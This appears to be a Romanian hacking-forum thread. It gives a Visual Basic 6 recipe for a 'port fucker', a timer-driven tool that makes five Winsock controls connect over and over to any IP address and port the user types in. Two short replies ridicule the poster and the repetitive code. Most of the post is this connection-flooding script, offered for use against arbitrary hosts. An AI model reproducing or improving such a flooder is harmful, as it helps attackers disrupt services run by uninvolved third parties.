port fucker

[Proxenon]

Pentru a creea un mic sau mare port fucker in Visual Basic 6 Vom Avea nevoie de :

- 2 Textboxuri (ip.text si port.text)

- 2 Butoane (cmdStart si cmdStop)

- Control Microsoft Winsock Control 6.0 (mswinsck.ocx Project -> Components)

- 5 (Sau mai multe Winsockuri pe Forma)

- 1 Timer pus pe intervalul 1 (Numele lui sa fie action) si care sa fie disabled

In Urmatorul Exemplu vom folosi numai 5 Winsockuri (sock1 , sock2 , sock3 , sock4 , sock5)

Codul butonului De Start :

Cod:

action.enabled = true

Codul Butonului de Stop :

Cod:

action.enabled = false

Codul Timerului Action :

Cod:

For i = 0 to 150 'Reconnecteaza de 150 de ori Winsockuriile

'Sock 1

sock1.close

sock1.RemoteHost = ip.text

sock1.RemotePort = port.text

sock1.Connect

sock1.close

Cod:

'Sock 2

sock2.close

sock2.RemoteHost = ip.text

sock2.RemotePort = port.text

sock2.Connect

sock2.close

Cod:

'Sock 3

sock3.close

sock3.RemoteHost = ip.text

sock3.RemotePort = port.text

sock3.Connect

sock3.close

Cod:

'Sock 4

sock4.close

sock4.RemoteHost = ip.text

sock4.RemotePort = port.text

sock4.Connect

sock4.close

Cod:

'Sock 5

sock5.close

sock5.RemoteHost = ip.text

sock5.RemotePort = port.text

sock5.Connect

sock5.close

next i

[Grunt]

De unde stii tu sa faci asa ceva daca te incurci la suma a doua numere intregi?

[Nytro]

Nu e facut de el . Oricum o mare prostie codul . Daca vreau 100 de Winsockuri ? Scriu 500 de linii ? Nu s-a auzit de for ...